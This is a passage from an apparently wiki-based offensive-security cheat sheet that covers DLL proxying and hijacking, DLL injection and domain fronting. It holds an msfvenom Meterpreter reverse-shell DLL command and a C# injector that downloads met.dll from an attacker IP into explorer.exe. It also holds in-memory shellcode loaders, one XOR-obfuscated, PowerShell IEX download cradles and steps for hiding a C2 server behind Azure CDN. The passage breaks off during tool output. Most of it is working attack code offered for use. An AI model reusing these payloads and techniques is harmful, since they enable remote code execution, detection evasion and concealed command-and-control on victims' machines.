#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
